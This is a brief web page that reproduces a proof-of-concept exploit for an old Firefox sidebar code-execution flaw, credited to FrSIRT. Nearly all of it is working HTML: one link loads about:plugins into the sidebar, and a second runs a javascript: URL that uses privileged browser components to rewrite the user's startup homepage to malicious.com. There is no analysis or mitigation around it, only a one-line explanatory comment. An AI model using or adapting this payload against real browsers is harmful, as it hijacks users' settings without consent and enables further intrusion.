Mozilla Firefox Sidebar Code Execution Proof of Concept Exploit// FrSIRT Comment : If a user clicks on a link, this code will load "about:plugins"
// into Firefox sidebar panel and will overwrite "browser.startup.homepage",
// which will change the homepage to malicious.com
<a href="about:plugins" target="_search">Click Here First</a><br>
<a href="javascript: var prefs = Components.classes['@mozilla.org/preferences-service;1']
.getService(Components.interfaces.nsIPrefBranch); prefs.setCharPref('browser.startup.homepage',
'http://www.malicious.com/');" target="_search">Next, Click Here</a></p>
推荐
评论(0条)
